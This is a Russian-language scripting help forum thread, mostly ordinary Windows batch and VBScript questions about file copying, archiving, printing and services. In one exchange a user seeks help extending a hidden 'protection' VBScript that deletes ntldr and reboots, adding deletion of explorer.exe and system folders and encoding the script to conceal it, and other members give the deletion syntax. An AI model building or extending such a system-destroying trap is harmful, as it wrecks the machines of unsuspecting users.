Цитата:
Цитата:
|
amel27, справку читал и основные команды понимаю.. Кое что могу и сам но все же каждый будет делать по своему, как ему легче. мой вариант будет плохим, так как новичок :)
При запуске батника пишет Системе не удается найти указанный путь на счет совпадений имен думаю их не будет или очень-очень редко :) |
Цитата:
Цитата:
|
amel27, уточнения по вопросу 4:
Нужно, чтобы этот код работал на протяжении всего CMD-скрипта, а не единожды, как это сделать? Цитата:
Код работает, но записывает квадратики, как установить правильную кодировку? |
Rostlv
Цитата:
это какой такой "дух скрипта" будет потом удалять? :) если волнует безопасность, варианты: - запускать батник из TEMP-каталога (рано или поздно удалится); - компилировать батник в EXE-файл, тогда вскрыть код будет проблематично; - отслеживать процесс другим скриптом или тем же, но запущенным в другом процессе, но простой проверки "CMD.EXE" будет недостаточно (оба процесса будут CMD.EXE) Цитата:
|
Добрый день. Я уже задавал этот вопрос в теме по AutoIT, но меня перенаправили сюда. Не могли бы Вы мне помочь с одной маленькой задачей, а именно:
Как можно в VBScript получить путь к текущей директории и zip-архиву. К примеру, на диске С в папке folder находится какой-то file.zip, нужно его распаковать средствами VBScript. Но нужно, чтобы сам файл скрипт искал в той же директории, где и он сам находится (+ желательно, чтобы он искал все архивы и их распаковывал). Вот пример моего кода, который как я написал распаковывает только указанный файл в указанной директории: Код:
strZipFile = "c:\folder\file.zip" |
DImaN!,
Цитата:
Код:
Wscript.Echo GetScriptDir() Цитата:
Код:
'On Error Resume Next |
Creat0R, огромное спасибо! Все замечательно работает... Осталось только капитально разобраться в Вашем скрипте
|
Нужна помощь!!! Нужно скопировать файлы с одного сервера на другой. Проблема заключается в том, что server2 включается каждий день в неизвестное время с 9AM до 12 AM
copy /Y /Z "\\server1\Share$\BACKUP\*.bkp", "\\server2\Share$\BACKUP\*.bkp" Т.е. если server2 нету должен сработать таймер пока server2 не появится. Команда АТ не катит. Заранее спасибо за ответы |
ето должно быть что-то типа:
if exist \\server2\backup\nul goto process copy /Y /Z "\\server1\Share$\BACKUP\*.bkp", "\\server2\Share$\BACKUP\*.bkp", но у меня почему-то не получается, скрипт отрабатывает но нет никаких сообщений и файл не копируется к тому же нужно в указаное время - с 9AM до 12 AM а то он будет бесконечно так лобудеть P.S.: Я новенький и зелененький |
Помогите с написанием батника.
Как в батнике сделать чтобы был выбор. Например: Выбирите номер дейсвия (1,2,3,4). Допустим если выбирают 1 то выполняется одна команда, если 2 то другая...и т.д.
|
censored, как-то так:
Код:
@Echo Off |
Спасибо.
|
1. Нужно написать код для проверки большого количества файлов в разных директориях, и в случае отсутствия хотя-бы одного, вывести окошко с текстом об отсутствии файлов. Главное, чтобы эту команду не перечислять после указания каждого файла, она одинакова для всех отсутствующих файлов, должно быть красиво. :)
Мой вариант: Цитата:
3. Чем лучше всего компилировать cmd-файл в .exe Заранее спасибо. |
Цитата:
Цитата:
|
Rostlv,
Цитата:
Но это слишком долго, если нужен Цитата:
Цитата:
Цитата:
|
Цитата:
Код:
@Echo off Цитата:
Если у Вас в каждой директории ищутся одни и те же файлы, то можно сделать еще короче применив вложенный цикл. |
NBA
Цитата:
Rostlv Цитата:
Цитата:
Код:
@ECHO OFF |
Ещё 2 вопроса:
1. Какой ключ применить для старта и отображения текстового документа (.txt, .rtf, .doc) в режиме "поверх всех окон"? 2. Можно ли с помощью CMD проверить свободное место на системном и (или) загрузочном дисках, и в случае нехватки последнего выйти из CMD-файла? Спасибо. |
amel27,
Цитата:
Rostlv, Цитата:
|
Creat0R,
Цитата:
Код:
@Echo Off |
amel27,
Цитата:
|
Подскажите плиз, как можно реализовать небольшой мониторинг времени:
к примеру, есть определенный промежуток времени - с 23:00 до 09:00. Надо сделать так, чтобы в батник проверял время, и, если текущее время соответствует заданному промежутку, то выполняет какие-либо действия. Всё, на что хватило моих познаний, это на мониторинг определенного времени (не промежутка): Код:
@echo off |
D_Master,
Цитата:
Код:
@Echo Off |
Creat0R, спасибо, всё работает! :up
|
echo Off
cls echo Нажмите: echo "1" , если nForce2 echo "2" , если nForce4 echo "3" , если другое. Set /P Ch=Сделайте Ваш выбор: If "%Ch%"=="1" Echo Устанавливаем драйвера для NForce2 .... start \Program files\ASV\nforce2\setup.exe goto :1 If "%Ch%"=="2" Echo Устанавливаем драйвера для nForce4..... start \Program Files\ASV\nForce4\setup.exe goto :1 If "%Ch%"=="3" goto :1 Подскажите где ошибка. |
censored, goto :1 замечательно, а где сама метка? куда переход?
Код:
echo Off |
правельно переход ":1" дальше, я просто его не включал в список, он не работал при нажатии 1 и 2, не имеет значения
|
Подскажи пожалуйста.
netsh interface ip set address name = "Подключение по локальной сети" source = static addr = 172.20.4.%IP_Addr% mask = 255.255.255.0 gateway = 172.20.4.254 gwmetric = 1 Бывает при установке драйвера "Подключение по локальной сети №", можно ли задать для всех ? если ответа не нашлось, наверное нельзя :( |
у меня практически из той же оперы вопрос...
как сделать так, чтоб когда нет определенного компа в сети (выключился), выключить мой? при этом, чтоб не нагружать проц, сделать проверку раз в n минут |
sLiDeR-X, можно включить в планировщик заданий (раз в n минут) примерно такой батник:
Код:
Ping -n 1 имя_или_IP-адрес Пинг должен быть разрешен. |
а если не через планировщик, у меня он зависает :(
|
Присоединяюсь к теме. Кто может, помогите написать простой (не для меня, как видите) сценарий. Скрипт на командной строке, пробуждающий удаленный компьютер в локальной сети c помощью программы poweroff (http://users.telenet.be/jbosman/applications.html). Добавляю его в автозагрузку ноутбука, но скрипт запускается прежде, чем компьютер найдет беспроводную домашнюю сеть (иногда приходится ждать даже минуту). Вот думаю - как сначала проверить, подключился ли компьютер к командной строке - и потом только запускать программку poweroff? Можно ли это проверить командами командной строки? Спасибо заранее за помощь.
|
Цитата:
Код:
Set $MIN=3 Цитата:
Код:
Set $IP=192.168.0.10 |
Спасибо сам разобрался.
Выход netsh interface ip set address name = "Подключение" source = static addr = %IP_Addr% mask = 255.255.255.0 gateway = IP gwmetric = 1 |
amel27, а почему бы не сделать проще, например вот так:
Код:
@Echo Off Код:
Set $MIN=3 |
Цитата:
Просто так понятнее задавать значение задержки в минутах в начале скрипта. |
Код:
Set $IP=192.168.0.10 Set NET=255.255.255.0 Set MAC=1234567890ab :LOOP Ping -n 5 127.0.0.1 >Nul Ping -n 1 %$IP% If ErrorLevel 1 GoTo LOOP PowerOff wol -ip %$IP% -subnet %NET% -mac %MAC% Спасибо большое. Все работает. И еще - нельзя никак работу этого скрипта убрать, то есть чтобы работа не была видна? Скрыть появляющиеся тексты |
Можно, возле каждой строки написать >NUL
|
Цитата:
Цитата:
|
Ребята подскажите что не так делаю?
Требуется сделать скрипт, который мог бы при запуске подключать сетевой принтер. Вот нашел описание и под себя переделал- Код:
cscript prncnfg.vbs -g -s имя компа -p имя принтера -u администратор -w pass Хотя точно пишу правильный админский пароль. |
Цитата:
|
Ребята, сделал батник вот такого содержания:
Код:
@echo off Что не так? |
Цитата:
Цитата:
Цитата:
|
Цитата:
Код:
If %ErrorLevel% EQL 1 Shutdown ... |
Да я уже разобрался...
Все дело было в том, что имя самого батника было Shutdown.bat Я имя изменил и все заработало... :) + потом маленько доработал... вот что поллучилось: ShutdownComp.bat |
Добрый вечер.
Подскажите пожалуйста, как можно убрать пустую строку в файле при перенаправлении команды в файл например, результатом команды Код:
echo C:\WINDOWS\system32\notepad.exe >exe.txt Цитата:
Просто берется содержимое файла (а там путь к папке) и записывается в переменную. А с переносом строки не получается папку открыть. |
sLiDeR-X
Цитата:
D_Master Цитата:
Цитата:
Код:
@Echo Off |
Цитата:
1. Есть самописный скрипт, предназначенный для пре- и пост-обработки дистрибутива (с использованием набора обновлений). 2. В этом скрипте копируется дистрибутив, добавляются кое-какие файлы, кое-какие удаляются. Потом берется адрес папки (где сидит готовый к апдейт-паку дистрибутив) и пишется в файл distr.ini (апдейт-пака). А скрипт апдейт-пака не хочет использовать адрес + перенос строки в файле distr.ini и пишет, что папка не существует (из-за переноса). За пример спасибо, но он, к сожалению, в моём случае не подходит... Теперь, думаю, достаточно понятно объяснил :) |
D_Master,
Цитата:
@echo !TargetDistrib!>%UPdatepackPath%\%UpdatePackIniFile% И еще вопрос, длинных имен не используешь? |
|
Цитата:
В нашем случае использовать можно так: Код:
@Echo Off |
Цитата:
Если в литсере от тотал коммандера в HEX режиме есть завершающие 0D 0A в единственном экземпляре, то все нормально. Если в большем кол-ве то перетряхивай свой скрипт. Где-то дописываешь лишнее. Посмотри мой батник: http://forum.oszone.net/attachment.p...1&d=1185396580 я его в теме по мультибуту выкладывал. |
|
D_Master, выложи свой Dist.ini файлом, не содержимым. Чудес не бывает....
|
Вложений: 1
Прикрепил. Это после обработки скриптом Creat0R'a
|
Вопрос достаточно простой
но так как я тока начинаю разбираться в батниках - для меня это достаточно сложновато суть вопроса - как написать батник так чтоб он при входе/при выходе очищал рабочий стол пользователя (все удалял с него)? Операционая система - XP но есть возможность еще запуска скриптов с домена под управлением win2k3. как вариант использовал forfile с параметрами запуска - но там он чистит только файлы, а папки оставляет. может можно написать полноценный батник? |
Цитата:
Меня интересовал твой файл из 533 поста. p.s. у меня твой файл сработал. Artur88, Цитата:
в винде есть возможность запускать logon скрипты, оттуда и пляши... |
так чем хуже bat файлы то ?
в них же можно реализовать то к чему я иду ? |
Цитата:
Цитата:
cd "C:\Documents and Settings\Имя_пользователя\Рабочий стол" del *.* ? |
|
Цитата:
D_Master, Специально добавлял в конец твоего файла пару пустых строк, работатет однако.... Не понимаю зачем использовать сторонний vbs если все решается штатно-стандартными средствами. P.S. Твоя проблема скорей всего была из-за пробела в конце. т.е. @echo С:\Distrib>C:\Up\Dist.ini будет работать, а @echo С:\Distrib >C:\Up\Dist.ini уже нет. |
Цитата:
|
Цитата:
Спасибо! |
ВОПРОС:
Прошу подсказать, как можно в bat-файле создать переменную, в которую бы входили строки с переносом, к примеру – список файлов, каждый с новой строки. Спасибо. Поздравляю Вас с наступающим Новым, 2009-м годом! |
AlexLev, переменную врядли, а вот использовать временный файл и извлекать из него строки это запросто.
|
Вопрос.
Есть папка. В папке некоторое кол-во файлов *.xls (не равное одному) Надо получить пакетный файл, котрый будет каждый этот xls-файл (один) загонять в одноименный файлу rar-архив. Например: было: file1.xls; file2.xls; file3.xls после применения командного файла - file1.rar; file2.rar; file3.rar Добавление. Есть группа папок с подобным содержимым. При запуске этого пакетного файла все *.xls во всех папках должны архивироваться поочередно в одноименные *.rar Пакетный файл будет размещен в корне этих папок и запускаться планировщиком Заранее спасибо. |
Queen Black, как-то так:
Код:
For %%I In (*.xls) Do "%ProgramFiles%\WinRAR\Rar.exe" a "%%~nI.rar" "%%~I" |
Отменил вопрос.
|
идея была понятна, но результата она не принесла.
The following usage of the path operator in batch-parameter substitution is invalid: %~nI.rar %~I xls2rar.bat was unexpected at this time. |
Спасибо за мысль, сделал так:
xls2rar.bat Код:
dir *.xls /B > dirxls.txt |
Нужна помощь !!!
Имеется путь: C:\Documents and Settings\Admin\Application Data\Thinstall\NOD32 Antivirus System\%drive_C%\nod32\ Внимание вопрос !!! Как из папки nod32 скопировать все файлы в другую папку ( скажем в С:\ TEMP\) P.S. Вся сложность у меня возникла из за этого ---- %drive_C% |
Цитата:
Код:
copy "C:\Documents and Settings\Admin\Application Data\Thinstall\NOD32 Antivirus System\%drive_C%\nod32\*.*" "С:\TEMP\*.*" |
Цитата:
Вопрос снят !!! Сам спросил - сам ответил !!! Решение : IF EXIST "%USERPROFILE%\Application Data\Thinstall" COPY /Y "%USERPROFILE%\Application Data\Thinstall\NOD32 Antivirus System\%%drive_C%%\nod32\*.*" "C:\TEMP" |
Цитата:
|
Цитата:
Для завершения моего скрипта, необходима еще одна помощь: Внимание вопрос: В папке C:\NOD имеется файл 111.txt размером 100 кб Как осуществить проверку --- > если файл меньше 50 кб - удалить его !!! А если больше - скопировать в папку D:\Temp |
Цитата:
Код:
@Echo Off :) |
Creat0R,
Благодарю Вас за помощь !!! Это то , что нужно !!!! Работает отлично !!( причем на основе данного скрипта, я прикрутил еще сверку размеров двух файлов ) Еще раз ---- > Спасибо !!! :yahoo: |
Люди добрые помогите написать bat~ник чтоб перезапускал службы: диспечер очереди печати и службу сервер. ОС XP
|
apostol goroda grexa, перезапуск диспетчера очереди печати:
Код:
net stop spooler Код:
net stop lanmanserver |
в сети есть ПК с xp используеться как принт сервер (принтер canon 3300) работает печатает бац перестал пока не перезапустишь службы не хочет печать ((( хочу в cron (я просто дебианщик с виндой мало знаком)забить bat`ник пусть службы перезапускает каждые пол часа )))))
|
Не знаю, в тему ли пишу, но вот это код функции деинсталляции программы TweakUI, встроенный в ее исполняемый файл. Извлек программой "Ресторатор":
Код:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" |
Подскажите пожалуйста - есть скрипт:
'========================================================================== 'Печать документа с помощью MS Word 'Параметры: '{Файл} [{Принтер}|"" [{Кодовая страница}|"" [{Количество копий}]]] 'Пример параметров: 'C:\Temp\Test.txt \\Host\HostPrinter 1251 'Для использования значений по умолчанию принтера или кодовой страницы ' можно указать двойные кавычки ("") 'Пример параметров: 'C:\Temp\Text_default.txt 'C:\Temp\Text_dos.txt "" 866 'C:\Temp\Text_3_copies.txt "" "" 3 '========================================================================== Option Explicit '================= Изменяемые параметры =================================== Const TimeLimit = 30 'Время ожидания окончания печати в сек. Const Margin = 1.5 'Поля в см Const Admin = "admin" 'Имя компьютера сис. админ-а Const ShowMess = False 'Показывать ли текст ошибки на текущем компе '========================================================================== Dim objW, Mess, MarginPt, File, Ext, StartTime, CodeStr, Copies 'Дюймы, выраженные в см., для вычисления полей Const Inch = 2.538 'Задаем массив сообщений DefineMess 'Включаем режим ручной обработки ошибок On Error Resume Next 'Создаем объект Word Set objW = WScript.CreateObject("Word.Application") CheckErr(0) 'Первый параметр - открываемый файл File = WScript.Arguments(0) CheckErr(1) 'Открываем файл в кодировке, заданной третим параметром If WScript.Arguments.Count > 2 Then CodeStr = WScript.Arguments(2) If Len(CodeStr) <> 0 Then objW.Documents.Open File,,1,,,,,,,,CodeStr Else objW.Documents.Open File,,1 End If Else objW.Documents.Open File,,1 End If CheckErr(1) 'Вычисляем поля (задаются в пунктах - 1/72 дюйма) MarginPt = Margin/Inch * 72 'Задаем поля для всех файлов, кроме *.doc и *.rtf Ext = LCase(CreateObject("Scripting.FileSystemObject").GetExtensionName(File)) If Not ((Ext = "doc") Or (Ext = "rtf")) Then With objW.ActiveDocument.PageSetup .LeftMargin = MarginPt .RightMargin = MarginPt .TopMargin = MarginPt .BottomMargin = MarginPt End With CheckErr(2) End If 'Если задан второй параметр, то это принтер If WScript.Arguments.Count > 1 Then 'Устанавливаем принтер, если параметр не пустой If Len(WScript.Arguments(1)) > 0 Then 'Устанавливаем текущий принтер - второй параметр objW.ActivePrinter = WScript.Arguments(1) 'Небольшая пауза WScript.Sleep 100 CheckErr(3) End If End If 'Количество копий If WScript.Arguments.Count > 3 Then Copies = WScript.Arguments(3) Else Copies = 1 End If 'Печатаем в фоне objW.PrintOut 1,,,,,,,Copies CheckErr(4) 'Включаем таймер ожидания окончания печати StartTime = Timer 'Ждем, пока закончится печать Do Until objW.BackgroundPrintingStatus = 0 'Если ожидаем уже больше заданного лимита If (Timer - StartTime) > TimeLimit Then 'Генерим ошибку Err.Raise vbObjectError + 1, Mess("Title"), Mess("Err1") CheckErr(5) End If 'Пауза 0.1 сек. WScript.Sleep 100 Loop 'Закрываем Word objW.Quit 0 CheckErr(6) 'Отключаем режим ручной обработки ошибок On Error Goto 0 'Выход Quit 'Процедура задания массива сообщений Sub DefineMess Set Mess = CreateObject("Scripting.Dictionary") With Mess .Add "Title", "Печать документа" .Add "Err1" , "Время ожидания окончания печати превысило заданный лимит. Печать прервана!" .Add 0 , "При создании объекта Word возникла ошибка:" .Add 1 , "Ошибка открытия файла:" .Add 2 , "Ошибка задания полей:" .Add 3 , "При установке активного принтера возникла ошибка:" .Add 4 , "При выполнении печати документа возникла ошибка:" .Add 5 , "Ошибка выполнения печати." .Add 6 , "Ошибка закрытия документа. Закройте документ вручную." End With End Sub 'Процедура проверки ошибок Sub CheckErr(Step) 'Если произошла ошибка If Err.Number <> 0 Then 'Посылаем сообщение на компьютер Admin CreateObject("WScript.Shell").Run "net send " & Admin & " " &_ Mess(Step) & vbNewLine & vbNewLine & Err.Description, 7, False 'Выводим сообщение на текущем компьютере If ShowMess Then MsgBox Mess(Step) & vbNewLine & vbNewLine & Err.Description, _ vbOKOnly + vbCritical, Mess("Title") End If 'Закрываем Word, если открыт If (Step > 0) And IsObject(objW) Then objW.Quit 0 End If Quit End If End Sub Sub Quit Set Mess = Nothing Set objW = Nothing WScript.Quit End Sub Но данный скрипт работает только для конкретной папки с файлами конкретного расширения. А как сделать чтобы печатались файлы со всеми расширениями (файлы с текстовой структурой, но имеют числовое расширение, состоящее из трех цифр:0000,0001,0002 и т.д.). Эти файлы лежат в папке c:\OTDEL\000,001,002 и т.д.\дата (пример 01012009,02012009 и т.д.)\**.000 и т.д. Так надо что бы тотал пускал на печать все файлы находящиеся во всех папках 000,001,002 и т.д. но за определенную дату: например за 04012009-(имя папки с файлами). Вот структура папок /подкаталоги-номер отделения ![]() подкаталоги дата ![]() В папках дата файлы для печати по одному отделению ![]() по другому отделению ![]() и т. д по все отделениям за определенную дату. Помогите пожалуйста, заранее благодарен. |
Seryoga204,
Пробежаться в батнике по всем дирикториям отделов Echo off dir /A:D /B > dir.txt FOR /F "tokens=1" %%i in (dir.txt) do ( CD %%i call :dodate %%i %1 CD .. ) del dir.txt goto :eof :dodate rem входим в папку cd %2 > SET E1=%errorlevel% if [%E1%]==[0] ( rem если удачно, строим список файлов rem формат вывода подбереь сам dir /B *.%1 > ..\File.txt FOR /F "tokens=1" %%i in (..\File.txt) do ( rem печать call твой_скрипт %%i ) Del ..\File.txt CD .. ) goto :eof где то так, остальное сделаешь сам. |
Подскажите пожалуйсто чем и как можно закодировать (могу ошибаться с термином :) ) VBS скрипт. Я в них ниче не понимаю но нужно сделать из *.vbs *.vbe. Спасибо
|
Цитата:
|
Creat0R, его я скачал а как пользоваться??? Научите. Я запускаю команду содержния:
C:\WINDOWS\system32\screnc C:\ProtectUA.vbs C:\ProtectUA.vbe Файл ProtectUA.vbs ложу в корень диска С и ничего не происходит. Помогите пожалуйста содержание скрипта (часть его): If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Жирным я выделил то что он удоляет при определенном условии. Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32? Помогите пожалуйста |
Цитата:
Цитата:
Код:
objFSO.DeleteFile strSystemDrive & "\File.exe", True |
Цитата:
|
Creat0R, разобрался с синтаксисом :yahoo: огромное спасибо.
По поводу удаления есть несколько уточнений: 1. Если мне надо удалить по расширению так будет работать?: objFSO.DeleteFile strSystemDrive & "\*.exe", True 2. Если удалить папку так надо? objFSO.DeleteFile strSystemDrive & "\WINDOWS\", True 3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK? 4. Если я напишу так objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True то в операторные скобки заключать не надо чтобы все правильно работало? (это я что то с уроков информатики вспомнил, может и глупость :) ) Если надо то как? |
Цитата:
Цитата:
Цитата:
Заблокированные (на текущий момент) файлы вряд ли удалятся. Цитата:
|
Petya V4sechkin, по поводу моего четвертого вопроса. Не получилось. Помогите подправить скрипт.
Жирным выделил то что добавил я. Если вы не в курсе что это за скрипт то это от сюда Захотел его усовершенствовать тем чтобы помимо ntldr он удалял еще какие нибудь важные системные файлы, чтобы если даже и восстановят ntldr то система получится глючной или неработоспособной. Так вот так как я записал скрипт не правильно работает. Если не дабовлять строки то он скрипт проверяет условие и если оно ложное то удаляет ntldr и перегружает комп. Когда я добавил эти жирные строки то скрипт удаляет ntldr и только и комп не перезагружается а идет установка дальше. Все остальное не трогает (хотя там есть файлы которые из под винды без проблем удаляются вручную). Я так понимаю скрипт обрабатывает только строку objFSO.DeleteFile strSystemDrive & "\ntldr", True а остальные не трогает. Как сделать чтобы все эти строки обрабатывались как одно целое? |
Цитата:
|
Помогите люди. Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?
Скажите возможно это сделать через cmd? А то лень на VBS писать. |
Цитата:
Код:
Findstr /L /V /G:B.txt A.txt >NewA.txt |
Цикл при помощи cmd
Есть вот такая команда:
Код:
schtasks /create /tn "SysChecks" /tr c:\scripts\sch.bat /sc onstart /s Compname - это имя компьютера. Компьютер не один. Как можно сделать перебор компьютеров из другого файла? Я так понимаю нужно использовать команду for Подскажите как? Я не понял. Вот так будет работать? Код:
for %%f in (\\server\c$\pcname.txt) do schtasks /create /tn "SysChecks" /tr Добавлено: Я так понимаю, что вот так должно сработать если в файле pcname.txt список компьютеров представлен по одному в строчку и каждая строчка начинается с пробела. Причем файл со списком должен лежать в той же папке с исполняемым batником. Я правильно понял? Код:
for /f %%f in (pcname.txt) do schtasks /create /tn "SysChecks" /tr Не. Не работает. Пишет что на найден сетевой путь. Добавлено: Всё работает. Я забыл про этот параметр (который выше обозначен красным) и не вписал его в bat-файл. Плюс ещё в списке компьютеров (pcname.txt) были указаны два компьютера. Соседний и мой, т.е. локальный. И командная строка на это ругалась. Всем спасибо. Скоро ещё зайду. |
помогите найти ошибку
надо разбить вывод ipconfig /all, так чтобы характеристики каждого адаптера сохранились в отдельный файл Код:
del *.tmp |
Цитата:
|
сори, это файл куда выводился ipconfig /all
поправил |
подскажите как через CMD файл остановить службу в Диспетчере задач. Спасибо
|
net stop browser - остановит службу обозревателя
taskkill /F /IM notepad.exe - принудительно прибьёт процесс notepad.exe |
здравствуйте. подскажите пожалуста, как в батнике сделать проверку того, происходит ли обмен пакетов (больше заданных) с компом
(я раздаю инет через шлюз. хочется сделать так: если идет обмен пакетов (скачка), то ждать пока скачка закончится, тогда выключать комп. сейчас организовано так: когда комп второй включен, тогда ждать, иначе выключить. хотелось бы чтоб проверка шла не только по включенности 2 компа, но и по его активности) вот мой батник: |
Как можно засечь время выполнения скрипта, либо отдельной команды?
|
Цитата:
Код:
@Echo off |
gora, как завершить этот скрипт автоматически, а не через запрос?
|
Цитата:
Код:
Pause>nul |
Мне не надо запоминать, мне надо вывести время в файл. И чтобы этот скрипт не зависал в консоли, моргая курсором.
|
Цитата:
Код:
Echo Время выполнения = %delta%с>>filename.txt |
|
Команда time выдает также доли секунд, как до них добраться, а то по аналогии не получается.
|
Igor_I, FOR /f "tokens=1-4 delims=:,." %%G IN ('Echo %Time%') DO Echo %%G %%H %%I %%J
|
Цитата:
Код:
@Echo off |
Код:
@Echo off |
Цитата:
|
Подскажите что не так? В таком виде работает все кроме последний строчки (не очищается папка)
Желательно очищение папки, лучшем вариантом полное уничтожение папки WShell.Run "loaddrv.exe -stop AMON", 0, True WShell.Run "loaddrv.exe -stop nod32drv", 0, True WShell.Run "loaddrv.exe -remove AMON", 0, True WShell.Run "loaddrv.exe -remove nod32drv", 0, True WShell.Run "cmd.exe /c del /f %systemroot%\system32\drivers\amon.sys" , 0, True WShell.Run "cmd.exe /c del /f %systemroot%\system32\drivers\nod32drv.sys" , 0, True WShell.Run "cmd.exe /c del /f %systemroot%\system32\imon.dll" , 0, True WShell.Run "cmd.exe /c del /f %UserProfile%\Nod32_Portable\.*" , 0, True |
gora, ну что Вы сударь, можно и на ты.
Не согласен. Перевёл часы на 0. В течении первой минуты, по вашему варианту- 611434 , по моему - 5337. |
Цитата:
Для проверки уберите вывод в файл, уберите строку запуска вашей программы и поставьте в конце скрипта Pause. В консольном окне увидите ошибки. |
Да есть ошибки.
А как насчет такой строчки? Set /a %1=360000*%time:~0,2%+6000*(1%time:~3,2%-100)+100*(1%time:~6,2%-100)+(1%time:~9,2%-100) блин, а сколько сейчас времени, а то на часах 10 минут первого :) |
Цитата:
|
gora, ну это пока не имеет. Это на будущее.
|
Здраствуйте
Вот какая прблема При исполнении бат файла в командной строке вместо русских букв закорючки. Киньте совет (советы типа Язык и регион станд., reg_NLS_ 1251 не предлогать) |
Цитата:
|
Цитата:
|
|
Возник такой вопрос:
При использовании cmd.exe возможновыполнение команд без создания батника как файла. То есть можно в Пуск-Выполнить написать cmd /с "команда1&команда2&..." и будут последовательно выполнены команды 1,2 .... Хотелось бы узнать возможно ли такое с JS/VBS? |
Прошу прощения, видимо не заметили мой вопросик :(
http://forum.oszone.net/post-1008411-586.html |
Подскажите.
Хочу чтобы bat-файл искал на удаленных машинах (заданных в файле pcname.txt) искал ini файл, копировал его на другую машину и там переименовывал. Имя нового файла должно содержать имя пк заданное в pcname.txt. Код:
@echo off Вот так работает: Код:
@echo off Ещё хотелось бы конечно бы, чтобы я мог запускать bat-файл на своей машине, а отчет снимался на сервер. |
Вложений: 1
Цитата:
|
Flooper, прикрепите свой бат-файл к посту. Я не пойму что Вы привели на скриншоте.
|
Вложений: 1
вот оно
|
Flooper, команда tasklist выводит таблицу в DOS кодировке (866), а Блокнот не умеет работать с этой кодировкой и команда chcp 1251 не поможет. Используйте альтернативный текстовый редактор с поддержкой DOS кодировки.
|
Время: 04:03. |
Время: 04:03.
© OSzone.net 2001-